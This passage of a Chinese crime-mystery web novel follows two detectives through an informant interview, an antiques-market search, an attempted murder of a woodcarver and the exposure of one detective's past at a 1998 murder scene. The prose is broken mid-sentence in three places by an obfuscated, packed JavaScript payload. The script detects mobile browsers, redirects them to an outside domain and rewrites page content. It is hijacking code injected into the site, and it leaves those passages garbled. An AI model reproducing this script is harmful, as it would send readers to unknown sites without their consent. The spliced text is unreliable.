江桢惊讶地扬起眉,眼梢一下就红了,似乎没预料到宋柏能这样冒犯。宋柏的下颌因猛地咬紧后牙而瞬间绷紧,江桢眼中流转的泪意让他胸口似被压住般难受,但他忍住了,冷静地凝视对方潮湿的眼睛,耐心地等着能让他找到突破口的回答。 “你查案查得昏头了,以为什么事都能和这桩案子扯上关系?”江桢语气生硬冰冷,回答毫无破绽,“我父母和这案子无关,我不想说,你无权问。” 紧接着他深吸了一口气,呼出时气流微微颤/抖,似乎在强自忍耐怒意:“再说一遍,宋队,我没有见过那尊神像。” 叩叩。 两下敲门声让屋内气氛骤然一松,宋柏拉开窗,挥手散去那些烟雾,冷声道:“进。” 推开门仲夏站在门外,被他们两个人脸上的表情吓了一跳,犹豫到:“要不……我一会儿再来?” “什么事?进来说。” 仲夏如获赦一般蹭进办公室,一眼就看到了江桢手里的大包维c棒棒糖,控制不住地脑补了一出大戏:小江警官看起来生气又委屈,整个人跟被无情暴雨打过一样,难道是吃糖太多被宋队骂了?卫副支队不愧有雄鹰一样的眼睛,宋队的控制欲确实太强。 “你点什么头?”控制欲很强的魔鬼队长冷不丁问。 “哦哦,没有没有,我这是……我这是对自己的工作表示肯定!您看,这是和两年前走私贩毒涉案人张政见面之后做的会面记录。”仲夏递上一份新鲜出炉的文件,原来她刚从新安矫治所回来。 她偷眼看江桢,江桢一手搭在窗台上,望着外面,对会面记录好像没什么兴趣。 宋柏问:“他看起来怎么样?” “谁?”仲夏走神,又立马反应过来,“哦,张政?很配合,没什么异常。” 不是单纯地挨骂,他俩八成吵架了。恍惚中她这么想。 “还有别的事吗?”宋柏诧异道。 “没,没没。”仲夏忙收回目光,“那你们俩先看,我肚子有点饿,先去吃饭。” 说罢她也不看墙上挂表显示现在才上午十点,远不到午饭的时间,就这么面对宋柏,倒退着出了支队长办公室。 宋柏看了会儿文件,转过头,看见江桢还斜靠着墙站在那儿,刚刚的失态已经全然褪尽。他半边脸沐浴在窗口洒入的阳光里,没有表情,暖光之下,冷白的脸清隽美丽却不像活物。 “你也来看看。”宋柏扬手,把那份文件啪地扔到桌面边缘。 江桢拾起来,打开看。 仲夏:当年你购买药品的途径只有线上跨境?是否有其他人接触到“邮票”? 张政:我都已经和警察说过无数次了,只有线上,用一款叫“少数派”的聊天室软件,那儿的即时聊天数据不会被保存,所以不好查。从我手里出去的“邮票”买家只有李想和耿兴平,这警察也知道,但是…… 仲夏:但是什么? 张政:他们有没有二次转手卖,或者分给别人,我不保证。但是如果他们真这么做了,两年之前警察就能查到,没查到,说明没有吧。 仲夏:为什么这么说? 张政:李想那人我知道,胆小如鼠,不敢干什么,但耿兴平不一样,他这个人很……警官,您知不知道哈伯德? 仲夏:不知道。和耿兴平有什么关系,详细说。 张政:阿德·哈伯德,一个商人,传说他第一次接触“邮票”里的lsd药剂就认定那是解放精神的良方,所以和女朋友一起在家里提纯了lsd,而且把它免费发给平民,完全免费。他像狂热信仰宗教一样信仰lsd,导致这种药剂在他所在的那个地区广泛流行。这个人是耿兴平的偶像。 仲夏:你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388608|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说耿兴平有可能像哈伯德一样,把从你手上买来的“邮票”免费送给平民? 张政:我不确定。但耿兴平确实是个脑子不正常的人,当时海关管控得严,最后一批“邮票”不纯,有点发黄,他非要想办法提纯,还说要是知道怎么弄出来的话一定要用这东西干件大事,留名后世的那种。警官,你不觉得他这么想很恐怖吗?说实话,不管抓起来的时候怎么和警察说的,我们都知道自己用的就是毒/品,说白了耿兴平就是要做毒/品免费发给别人,难道这还算正常人? 仲夏:那你知道他真的做了吗?他具备提纯药品的能力吗? 张政:你不是缉/毒警吧? 仲夏:回答问题。 张政:真的造出毒/品并不难。化工论坛上甚至有人卖冰/毒合成配方,而且明说了不用国家明令管制的原料。如果吸的不是lsd是冰/毒的话,我猜耿兴平一定会试试吧?但是他爱死“邮票”了,货足的时候每天都磕,根本顾不上吸别的。 仲夏:他有没有问过你购买方式,或者被你发现私下购买这种药品? 张政:没有。他说过要吸自己弄出来的。他有个朋友,家里做兽药的,说能搞到原材料。但是直到我们被抓他也没搞出什么动静,真要搞出了什么,现在他应该早就被枪毙了吧。 仲夏:他那个朋友名字叫什么,你知道吗? 张政:具体叫什么不知道,只记得姓挺罕见的,姓和一个侦探一样……哦对,姓柯,柯南的柯。 仲夏:当时这点和警察说了吗? 张政:没有。 仲夏:为什么? 张政:我为什么要引火上身?难道我被判得还不够吗,我不说警察就发现不了吗?你们不是查过了他没任何嫌疑吗?这三个人里只有我判了,他们只是拘留,你以为我不知道? …… 江桢看完整份报告,几道声音犹在耳边。 “耿兴平说过,这东西太好了,他要用它做一件后世留名的大事。”“耿兴平死了,跳崖。”“他有一个朋友,姓柯,说能搞到原材料。”“哈伯德像信仰宗教一样,狂热地信仰lsd,而他是耿兴平的偶像。”“那个戴琉璃手链的女孩叫什么?”“柯茹。” 他们掌握的线索又杂又乱,而谜团的数量显然更多。仿佛被无形之物吸引进入迷雾的更深处,他还不知道深处藏着何种怪物,只是潜意识中因为知道得太少而感到悚然。 “在想什么?” 此时宋柏语气已经和缓不少,他桌上有水,喝了一半,江桢无知无觉地端起杯喝光了剩下一半,这才定了定神,喃喃道:“总觉得耿兴平当年自杀也有蹊跷。” 杨繁带回来的询问笔录里明确记着,耿兴平自杀前毫无预兆,没有留下遗书或是遗言就跑到从家里驱车需要一个多小时的地方,登上山后跳崖自杀,后续家里人还是报失踪后通过手机定位才知道人在山里,等救援队找到他的时候,尸体都快烂干净了。 如果他真是因为毒/瘾难戒怀有死志,何必大费周章地跑到那么远的地方去自杀?虽然当时他已经购买不到“邮票”,但市内的犄角旮旯里还流通着其他毒/品,服药自杀难道不是这种瘾/君子更常见的选择吗? 宋柏沉声道:“怀疑不能成证,先顺着最明确的线索追查,说不定可以慢慢拔出暗处的东西。走吧。” “咱们去化智寺的古玩市场看看。” 14.第十四章 “您好,这种珠子能雕吗?”“这什么?哎呦,看着真邪,我们可不做这个。” “警察。见过这个珠子吗,这个神像呢?”“这个……没见过,这看着就不吉利,您要不要看看店里的护身符?警察办案才需要这个呀,咱们家都是请化智寺的大师开过光的,和寺里法物流通处请来的没有区别,您别走啊,哎!” “小帅哥来看看祈福手链啊,招桃花的!” 化智寺古玩市场。 恰逢周末,临街小店纷纷支起遮阳伞,把店里的小物品摆出来售卖。因为对面就是化智寺,来烧香的人出来后大部分都会上这里逛逛,本就狭窄的步道上摩肩接踵,杀价与吆喝一应一和,好不热闹。 只不过人虽然多,问了一圈,认得自在神神像和洪二发手链上的木刻珠的人一个没有。 宋柏连着问了几个小摊,没什么收获。这帮摊主即使看了警察证件也要上来拉客,他脸凶还能挡一挡,另一边江桢已经被热情的摊主们围起来了,五六个大爷大婶,手里拿着祈福手链、弥勒核雕、桃木剑八卦镜,七嘴八舌地看着江桢手机里的证物照片。 “买一条,哦不不,请一条手链呗,帅哥请条手链我就帮你问问,这条街上没有我不认识的人。老张,你来看看这个,来来。”“这个东西啊……娟儿,你过来,你看认识不?”“哎呀,看着好眼熟。” 江桢头一回遇到这一群人抢白菜的阵仗,又不想错过可能的线索,被推推挤挤,好脾气地不停问:“眼熟吗?您能再回忆一下在哪里见过吗?” 出于礼貌,他脸上带笑,不时随着摊主们的答话移动视线,本就清隽好看的眉眼因此显得格外生动。即使在遮阳伞的阴影下,他的眼睛都异常明亮,被众人簇拥着,他不由得向后退了一步,露出衣领的那一段后颈裸/露在阳光下,泛出象牙般柔白的光泽。 连夜加班,他赶在出发前洗了澡换衣服,普通的白色棉t恤、长裤、柔顺的黑短发都使他像个考古或文物系来采风的学生,年轻而气质沉静,这样实在很难不招人喜欢。 宋柏看着江桢,确实出神了一会儿,险些错过电话。工作上的电话他一向接得很快,以至于接通之后,对面的戴奇都奇怪道:“给你打了俩电话都不接,还以为你和小江让神棍拐跑了。” 小江警官倒是没有被神棍拐跑,不过再过两分钟神棍们很可能就要开始查他的户口本了。 没听见回答,戴奇更纳闷了:“你笑什么?” “你听错了。”这次宋柏倒是回答很快,“什么事?” “我们不是请外地警方整理八/九十年代关于自在门的案件给我们吗,没想到还真让人家查到了!” “是江兴吗?” “不,是林台坡。那里曾经发生过一起命案,一家三口,男主人被杀,女主人失踪,至今下落不明,案发现场就有自在神的神像,但没有任何物品遗失。这是桩冷案,当时现场还提取到了第四个人的血脚印和指纹,属于身高一米七五至一米八之间的男性。这一家人的社会关系相对简单,当地警察根据线索推测杀人原因是教团纠纷,但没能成证。” 宋柏沉吟片刻:“听起来和我们在查的案子没有强关联。把现场发现的脚印和指纹跑一遍看看吧。” 长宁辖区也有靠指纹比对发现冷案凶手再次作案,并将其一举抓获的先例,虽然化州和章宁距离较远,但现在交通发达,且都牵扯到了自在门这罕见的宗教,他这样做只是以防万一。 “但是岳小伟身高一米七七,就在当地警方推测的身高区间里,而且林台坡虽然属于化州,但紧挨江兴,开车过去不到三个小时。所以我就想,有没有可能,这个岳小伟是北上躲事来的,林台坡命案现场的‘第四个人’是他?教团内部有人知道内幕,想给这夫妻俩报仇,这么多年来一直寻找岳小伟,最后利用洪二发以‘驱恶鬼’的方式杀害了他?” 从南至北一千二百多公里,跨越二十多年,如果这个离奇的推测成立,那还真是一场盛大的复仇。宋柏被戴奇丰富的想象力震撼得沉默片刻,叹了口气,问:“那这个知道内幕的人为什么不报警呢?” “这个嘛……” “警察都找不到真凶,偏偏被一个小老百姓找到了?这个人和夫妻俩是什么关系,还能以身入局替他们报仇?” “这个这个……” “戴副支队,少看电视剧,多吃点卫洲的保健品补补脑子。”宋柏堪称怜悯地提醒一番,准备挂断电话。然而电光石火间他又意识到什么,问:“小孩儿呢?” “啊?什么小孩儿?” “你刚刚说林台坡命案受害者是一家三口,男主人死亡,女主人失踪,他们的孩子呢,也遇害了?” 戴奇那边传来快速点击鼠标的声音:“没有没有,小孩儿说是看到了凶手的脸,但是年纪太小证词混乱,没能提供多少有效线索。因为凶手在逃,当地警方通告说小孩儿不治身亡,实际上对他进行了半年的心理疏导,这之后放进了社会福/利机构,在哪儿来着……哦,去了玉雄福/利院!” ——八/九十年代,你在玉雄福/利院。你见过那尊神像?你父母是怎么去世的来着? 某种预感浮现出来,阴影般压/在宋柏心头,他下意识贴紧手机扬声筒,看了一眼还在人群中的江桢:“那个小孩儿叫什么,当年多大,后续有人领养他吗?” “后续?后续就没有记录了。被害这家人姓边,小孩儿叫边柳,小男孩。当年五周岁,现在应该二十五六了吧。喂?柏啊,你还听呢吗?” 戴奇的声音落在耳内嗡嗡作响,宋柏努力放轻呼吸,掐进掌心的手指都出了冷汗。 “喂喂?是不是信号不好啊?” “有照片吗?”“啊?” “那小孩儿的照片有没有?” 也许是感受到电话这一边宋柏语气里的凝重,戴奇认真起来:“有。我这就发给你。” 他动作很快,片刻之后,宋柏手机响起微信新消息提示音。 不远处,江桢终于结束了一场艰难的走访问询,正拨开还在向他兜售宗教类小商品的店主摊贩向这边走来。宋柏按断电话,打开微信。这里信号不太好,戴奇发来的图片一直在转圈。他紧盯着那转动的小圈,心跳也似被牵动般越来越快。 江桢一步步走近。 他罕见地耐不住性子点开那张图片,图片如被打印机一点点吐/出般加载出来。 是一张老照片,因为年代久远,颜色都有些模糊了。照片上的小男孩拿着一块面包,看起来只有三四岁,他懵懂地看着镜头,乌黑的眼睛中含/着一丝茫然,带着婴儿肥的圆脸和尖下巴颏让他看起来像只误被镜头捕获的小猫。 宋柏放大照片,划到小男孩左眼下面一点的位置。 “宋队,我找到一个人说见过洪二发那颗木珠子。”江桢投来探寻的目光,太阳很晒,他微微眯起眼睛,左眼下那颗泪痣因此格外明显。 宋柏忙锁上手机屏幕,机械地抬起头准备回应江桢,可心里想的却是,原来他再小一点的时候是这个样子。 二十年的光阴悄然而逝,幼失怙恃的孩子改名换姓,踏着一地血腥,跌跌撞撞地走过那些颠沛流离的岁月,走到他面前。 市场内的鼎沸人声悠然褪/去,一片奇异的静寂中,宋柏望着江桢年轻俊秀的脸,望进那双黑白分明形状优美的眼睛,与那小男孩尚且年幼的眼睛严丝合缝地重叠。他提至喉咙的心怦然回落,胸膛内荡起阵阵又酸又涩的痛意,涟漪般扩散开来,漫入四肢百骸。 “嘿!瞧您这样儿,见鬼啦?”一只皱巴巴又有点粗糙的手蓦地搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399764|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上他的手腕,江桢带过来的那个人凑上来对他挤眉弄眼,不是别人,正是那天堵着他们的警车招摇撞骗的胡三算。 这厮今天换了身暗花黑缎对襟褂子,头戴小瓜皮帽,可能今天要扮演的角色是瞎子神算,鼻梁上架的那副小圆眼镜换成了墨镜,要是出市场右拐,坐在街头拉上一曲二胡,活脱脱就是章宁阿炳。 宋柏看见这骗子就气不打一出来,伸手掸灰似的把胡三算搭过来套近乎的手拍下去,皱着眉问江桢:“你怎么把他给带过来了?” 又往后退一步拉开距离,扬声道:“胡半仙还没被城管降服?真是道高一尺魔高一丈。” 被判为魔的胡三算也不生气,小圆墨镜从鼻梁上往下滑,精明的鼠眼越过镜片,眼珠子往上翻着看人:“警官,找不着认识自在神的人了吧?” 话音未落,冷面杀神般的警官猛地凑近,锐利的目光仿佛一柄小刀子,要插/进他的脑袋里一探究竟。饶是胡三算这个老/江湖也被宋柏吓得后退几步,躲到江桢身后:“哎,小哥,你看他,你看看他!” 宋柏面色不善,转头对江桢:“你告诉他了?” 胡三算手劲挺大,江桢被他扒拉得直晃:“没有,这是老人家自己认出来的。” 老人家——打一个电话的功夫,一个骗子就成老人家了?! 宋柏翻出手机里木珠和神像的照片,怼到胡三算面前:“你刚是怎么和江警官说的,再说一遍。” 胡三算眼睛滴溜溜一转,对着江桢说:“姓江,原来你姓江,是个好姓,江字属水……” “再废话就给城管大队打电话了。”宋柏切换界面,手机屏幕上赫然写着“12319”。 “别别别,别别别——好说、好说。”胡三算一把捂住宋柏手机,自觉主动地滑回神像照片,拉着两人找了个阴凉人少的地方,小声而神秘地说:“你这尊铜像被抹了脸,看着如此邪门,就算眼熟人家也不敢认。你看,这神像有八条胳膊,其中有又两只手在身前,一手搭在右膝上,手指触地,这是伏魔印,再看其他六臂,手里拿的是钵、水壶、莲花杵、手鼓,看起来像佛像,却又不合任何一尊佛像制式,元素混乱,看起来像是民间私人所造。抹了脸,说明本来有原型,怕被学佛者认出来,故弄玄虚。据我所知,这么缺德毁了本神另立新神而拜的只有南方的一个小教派,叫做自在门。我说得对不对?” 和他们查到的资料竟然一字不差! “看这铜像,能看出是哪里造的东西吗?”宋柏脸色稍缓,为胡三算举着手机,方便他查看。 “嗐,要我说啊,你们别查铜像了。刚我都说了,这铜像有原型,就是大自在天抹了脸,又放了点神神鬼鬼的物件在佛像手里,你们回去拆,指定能拆下来。把这铜像脸洗干净,一定有三只眼睛,这根本就是随便买的大自在天铜像,又自己改造了一下。”胡三算反手指指身后热闹的古玩市场,“你们去问问,每个摊基本都能买到大自在天铜像。” 见宋柏神情凝重,胡三算蹭蹭鼻子,很得意地说:“你如果不信我胡半仙,尽管去问,看看别人还能说出什么来。” 他总算是在这个讨厌的死人脸警察面前扬眉吐气了一把,殊不知这铜像是警方连日追查下来获得的一条重要线索,如果能找到源头,知道是谁制作了它,日后案件移诉,也能当作证据。可这线索还没来得及细查,就这么轻易地断了。 “警官,棘手吧?”胡三算真是懂得察言观色,见他们两个都不说话,嘿嘿陪笑,从宋柏的左边转到右边,“铜像查不着什么,你们不是还有颗新刻的珠子吗?” “你怎么知道这颗珠子是新刻的?” 宋柏以为这胡半仙又要夸耀自己的眼力一番,没想到胡三算笑容一收,正色道:“因为这颗珠子,是我亲眼看着刻的。” 15.第十五章 一个月前。 一个周日,胡三算一天看了二十多个手相,为八个人“化灾”,傍晚带着揣得鼓鼓囊囊的口袋,打了点散装酒,弄了只烧鸡、几个小菜,到化智寺古玩市场后面的胡同,找他的哥们刘巧手去。 刘巧手本不叫这名儿,是个摆流动摊卖核桃、木头、核雕的小手艺人,因为雕的东西细致漂亮才得了这么个花名。古玩市场归政/府统一管理之后,每个摊位都要按月收取租金。刘巧手腿有残疾,每天都要吃药,拿不出钱付租金,因此都在他住的胡同口骑着电三轮卖东西。好在之前靠着物美价廉的核雕积攒了一批老主顾,老主顾介绍新客人,还有人给他拍视频发到网上去,生意过得去,刘巧手这才不至于饿死。 那天胡三算到了刘巧手家,看见他还在干活,雕的却不是寻常客人会买的橄榄核,而是一块木头。来小市场找人刻木头,图的就是便宜,一般摆件都是用椴木,质地软又便宜,用小刀就能刻,而刘巧手正在雕的那块木头上面带着点点金星,一看就知道绝不是便宜货。 胡三算在古玩市场里混久了,也懂点这方面的东西,好奇地凑上去一看,竟是一块带金星纹的上好紫檀木料。刘巧手操着牙机,雕得认真,满头是汗。 一问才知道,这是刘巧手几天前在网上接的单子。客人开价很高,自备木材,让他雕一颗大自在天神像木珠,只是要求有点奇怪:客人让他雕好之后把神像的面容抹去,他雕了小半辈子木头,从没听过这样的要求。 胡三算看着那已经快要完成的木珠,再看神像,觉得眼熟又邪门,就劝刘巧手把单子给客人退回去,可东西已经做了大半,退货还要赔人家木料的钱,刘巧手当然不愿意,胡三算也不好劝,就喝着酒,和刘巧手聊着天,看着对方雕完了那木头珠子。 这之后胡三算特地翻了翻手头的资料,又和熟人多方打听,这才确定,客人让刘巧手雕的是八/九十年代兴旺一时,如今几乎销声匿迹的“自在神”。 “所以,你和这个刘……刘巧手,都没见过下单的客人?”江桢和宋柏一前一后,中间夹着胡三算,三人踩着被老树的树根顶得凹凸不平的地面,一脚深一脚浅地向胡同深处走。 “没有,这颗珠子是那客人打了一辆空车来取的,具体目的地是哪儿我们都不知道。” 宋柏问:“那车牌呢,还记不记得?” “哎呦,这您就要问他本人了。这个时间他估计在家,您仔仔细细慢慢问,我这哥们儿是个老实人,绝对不会诓你们警察。” 宋柏看着这老头现在一副良民模样,估计是预感到自己的朋友卷进了要紧的案子里,再不敢拿平时给人看相那套活话糊弄了,语气便稍微和缓了一些:“这么说你早就知道你朋友刻的是邪教的东西,怎么不早报告给警察?” “嘘——嘘!什么邪教?人家说的可是‘大自在天坐像,抹掉脸’,有哪个字和邪教挨边儿了吗?人家一个瘸子,挣点钱容易?我多余管这件事!”胡同人来人往,很是热闹,胡三算忙压低声音,示意宋柏也小点声。不愧是在市井里混久了的,这么一会儿胡三算已经和他俩混熟了,竟敢用白眼瞥宋柏,语气里满是恨他不懂人情世故的责备。 他没说错,就算有觉悟报到派/出所有什么用呢?客人完全可以辩解说是刻着自己戴的。小市民都是恨不能躲着事跑,更何况那神秘客人给了刘巧手一/大笔钱,如果不是这颗木珠出现在了刑事案件嫌疑人租赁的集装箱里,恐怕没人知道,章宁市的小小角落里,有这么个木雕匠,接了这么个古怪的客单。 只是—— “那你今天又为什么主动站出来告诉我们自己见过这神像和木珠?” 原本轻松的气氛因宋柏的突然发问紧绷了一瞬,胡半仙推起墨镜,因上年纪而颜色变淡的眼珠竟显得严正肃穆:“因为你们是市分局刑侦支队的,案子不要紧不会报给你们,你们也不会查得那么急。” 他一指江桢:“我看这小哥出了一头汗,虽然不知道具体是什么事,也知道十有八/九是件凶案。这世界上诸神三千,如果只是在心里当个念想祈福,何必分正神邪神?我拜我的祖师爷,别人拜别人的自在神,最好一辈子两不相干。可如果打着自在神的旗号犯法、害人,救度众生的大自在菩萨*会流泪的。” 这个在街上看相骗人的老头挺直了因为总是点头哈腰而微驼的背,嘿嘿一笑:“我是假道士,可良心是真的,总不能让好哥们混进害人的事情里头吧。” 宋柏目光中闪动着几分揶揄,向前微微扬起下巴,说:“带路,老人家。” “……”可怜胡三算差点被自己的口水呛死,受宠若惊又不敢相信自己的耳朵,“啥?你叫我啥?” “别得了便宜卖乖,带路。”“啥便宜啊?我才六十七,六十七啊!新闻上说这是壮年,怎么就老人家啦?!” 也许是他们吵闹声大,树梢簌簌摇动,响亮的鸽哨从不远处而来,呼地掠过他们的头顶。悠扬的哨音中夹杂着一丝什么东西碎裂开来的异响,很轻,很容易令人以为那是错觉。江桢抬起头来,凌乱不齐的鸽群恰好受惊般扑棱着翅膀,盘旋一圈,向更远处飞去。微风拂过搭在耳畔的发梢,江桢耳尖微动。 “你们听到了吗?” 令他意外的是刚吵过架,宋柏的态度居然迅速地从勉强如常恢复到了之前那种殷切。宋柏侧耳扬头,从这个角度看,他的侧脸轮廓鲜明锐利,斑驳树影落在总是神色冷淡的眼睛中,清亮的瞳仁光芒流转,身上那种冷峻的气质都被削弱了不少。 江桢的头发真有点长了,他看着宋柏,觉得后颈被发梢扫过的地方有些痒。 “没有,有什么声音?”宋柏的目光投向他,又转到胡三算身上,后者摇头示意自己什么都没听见。 江桢没有急着回答,沉默中他似乎在思考自己刚刚是否听错:“……没什么,可能是谁家倒垃圾把玻璃瓶摔碎了。咱们快到了吗?” “哎,右转就是。”胡三算手搭凉棚,望着远去的鸽群,“奇怪了,这鸽子今天飞得怎么那么乱,让猫吓着了?” 不知不觉中胡三算走在了最前面,三人已经走到了胡同最深处,砖房之间狭窄的小路只能供两个人勉强通过,小路两侧的平房也越来越破,看来李巧手确实经济窘迫,住的不是个像样的地方。 这是个死胡同,尽头是一间小房的背墙,墙上只比人高了一点的位置上开了个长方形的透气小窗,关得严丝合缝,上面积了一层厚厚的灰尘。 “老刘!老刘!刘巧手!”胡三算对着小窗叫了两声,自言自语道,“奇怪了,平时这扇窗户他都开着透气的,尤其现在天儿这么热。来,门在这边。” 江桢心里从听到那声似有似无的碎裂声起就存在的疑影忽然扩大——胡三算连说了两句奇怪了,这是不是说明,作为这里的老住户,他在无意识中已经觉察到了哪里不对? 前面带路的胡三算已经迈过了杂草丛生的台阶,向刘家的那扇小门走去,他走到一半,先是“咦”了一声,随后脚步一顿,转过身来,青着脸还没来得及说什么,肩膀陡然一沉,是宋柏按住了他的肩。 刘家的小门是大开着的! 江桢顿觉不好,抢身进入房门,宋柏伸手想拉却落后一步,两人几乎前后脚挤进逼仄的小屋,只见屋里一个双腿畸形的男人脸朝下趴在地上,脚背还搭在电动轮椅的踏板上,手边一只用作水杯的罐头瓶摔得粉碎,刚刚江桢听到的碎裂声恐怕就是它被撞到在地上发出的。 空间有限,宋柏目光在房中迅速逡巡一圈,唯一一扇窗就是背墙上的小窗,玻璃完好无损,房间里没有第二个人。 江桢上前,小心地避开地面上的碎片,从兜里抽出一张手帕纸,蹲下,探手先去按男人的颈动脉——“他还活着,快打120!” . 刘巧手——本名刘勇,在被人徒手掐晕后窒息数分钟,随后被恰好上门的警察发现施以急救,之后送医,命大没死。 也就是说,胡三算带着江桢和宋柏走在通往刘勇家的路上的时候,某个不知名的凶手正在刘家准备杀人。江桢听到玻璃杯碎开的声音时,刘勇应该刚刚被掐晕,那多半也是凶手撤离现场的时间,和他们前后不过几分钟,这个人甚至很可能在胡同里与他们擦肩而过! “老刘他……他平时与世无争,他……他一个仇人都没有……”再怎么混迹市井经验丰富,胡三算还是被这毫不掩饰甚至不畏惧被发现的凶狠杀意吓坏了,坐在医院的长椅上,手脚还在筛糠似的哆嗦。 刘勇社会关系简单,为人谨慎和善,因为是残疾人,甚至连远门都很少出。 谁会急着要他的命呢? 胡三算说过,虽然订下紫檀木珠的客人是在网上下单,没有露面,但东西是由一辆空驶的网约车拉走的,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410339|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取着急要的东西,如今并不少见,客人一般在网约车平台下单,说明目的地和情况,叫司机取货,自己只需要等着收货就好了。 刘勇因为曾经亲自把木珠拿给网约车,很难说还记不记得车牌号。万一他因为订单要求特殊而记住了车牌号,被警方查到这辆车和送货目的地,凶手就很难继续藏身了。 这个人显然是闻风而动,想到警察可能会找到刘勇,于是先一步杀人灭口! 警方前一天凌晨才在码头打开洪二发租赁的集装箱,第二天尚在调查之中就有人来灭证人的口,出手如此之快,让人很难不怀疑一直有人蛰伏在暗处,静静地观察着警方的一举一动。 这个人之所以找到刘勇刻这木珠,应该对刘勇比较熟悉,知道他残疾,出门不便,独居没有亲朋。刘勇接到这大单子,并不是因为手艺多好,单纯是因为出了什么事他比较容易被处理干净。 只是这个人千算万算,隔着网络也不能时刻监控刘勇,他大概不知道刘勇的朋友胡三算也曾见过这颗木珠,否则今天在家里被活活掐死的恐怕就不止一人了。 胡三算显然也意识到了这一点,所以特别害怕,即使留在现场等队里人上门勘查的宋柏之后来了电话,告诉他他家并没有外人闯入的痕迹,他还是不敢回家,说什么都要留在医院,和江桢一起等刘勇醒来。 “小江警官……你和我说句实话,你们到底在查什么案子……”胡三算脸上的皱纹都深了不少,抹着老眼欲哭无泪,抱着江桢的胳膊不肯松手。 “这我不能告诉您,但我向您保证,警察一定保护您的安全,好吗?”江桢手里拿着刘勇的颈椎ct检查单——因为被人扼颈,医生怕存在喉骨骨折或颈椎损伤。 “那我今晚怎么办?我今晚去你家睡可以吗?不不不,我还是去那个臭脸警官家里睡,他看着比你壮实一点,我我我不给你添麻烦……” 他在这里盘算着如何过夜,忽然一只手从后方伸出,“啪!”一拍他的肩头,老头惊恐地“噫呀”惨叫,攥紧江桢的胳膊,整个人从长椅上弹了起来! 江桢被他这动静吓了一跳,回头一看,宋柏站在后面,声线冷淡不带一丝起伏:“你今晚要去谁家睡?” 胡三算咕咚咽了口唾沫,不敢搭话。 按理宋柏应该留在刘勇家,和后上门的其他人一起撤场的。现在匆匆赶回,身后还跟着负责看守洪二发的实习警察童海,也许是案情又有了什么进展。江桢才这么想着,果然宋柏把童海往前一让,交代道:“你看好证人,晚上带他下楼吃饭,你去哪儿他去哪儿。” 童海是个娃娃脸,看着跟小孩儿似的,手劲还挺大,上来就要搀胡三算,愣是把胡三算抓着江桢胳膊那只手给掰开了:“爷爷,您跟我来,这边这边,带您买点水喝去哈。” “谁是你爷爷?别拽我!你身手有没有那个死人脸好啊,哎!” 等两人向走廊拐角处的自动贩卖机走远了,宋柏才转向江桢:“戴奇他们对自在门的调查有重大突破,跟我来。” 案情有进展是好事,可宋柏却很平淡,看不出喜怒。医院走廊中人并不多,江桢起身跟上,以为路上对方就会透露一些,没想到直到他们都坐进停在楼下的警车里,宋柏都没说一句话。 “什么突破?找到教团的其他成员了?” 天热,车厢里闷热异常,江桢想要摇下车窗透气,却发现窗户被锁住了。一丝古怪从心里升起,他试着拉开车门,竟然也锁死了! 转过头,宋柏正抱臂坐在驾驶位上,微沉的剑眉下,闪动着锐利寒芒的眼睛正一眨不眨地盯着他。 ——刚刚的平淡原来只是他强自压抑怒气给人带来的错觉。 对视的瞬间,空气中仿佛有一根无形的弦绷至最紧。 江桢倾过上身就要去解锁车门,下一秒宋柏的手带着不容挣脱的力道,如铁钳攥紧他的手腕。 “一九九八年,化州林台坡发生命案,起因是自在门教团纠纷。告诉我,为什么案发现场留下了你的指纹?” 宋柏冷硬的声音在江桢耳畔响起,太近了,连微热的吐息都能感受得一清二楚。 “为什么骗我?” *大自在菩萨:即大自在天。对大自在天的解读很多,其中之一认为他是观音菩萨的化身,慈悲心肠,会救度众生,因此这里胡半仙称呼他为“大自在菩萨”,而非“大自在天”。 16.第十六章 外面走过一群医院实习的学生,脚步轻快,你一言我一语地商量着一会儿晚上去吃什么。严丝合缝的车窗把笑闹声过滤得低沉发闷,宋柏清楚地听见江桢的呼吸加快加重,错漏了几拍,随着那群学生的脚步远去而恢复如常。 车里还是闷热,江桢的脸却冷白发青。 他慢慢错开身,甚至忘记把自己的手抽出来,鸦黑的眼睫不堪重负地垂落,又勉强抬起,露出乌黑无波的眼珠:“是吗,那是什么样的命案,指纹库跑出凶手了吗?” 江桢听见自己镇定的声音响起,却根本不知道自己到底说了什么。虚空中仿佛有一只重若千钧的手按住他的肩膀,阻止他逃跑,冷笑声灌进他的脑袋里,嘲讽他的无能。 ——你被发现了。 不是叫你尽量别被发现吗?你被发现得太快啦。 渐趋癫狂的笑声如尖细的爪子挠着他的耳膜,等待宋柏回答其实只有几秒钟,但这种痛苦却像永恒一样漫长。 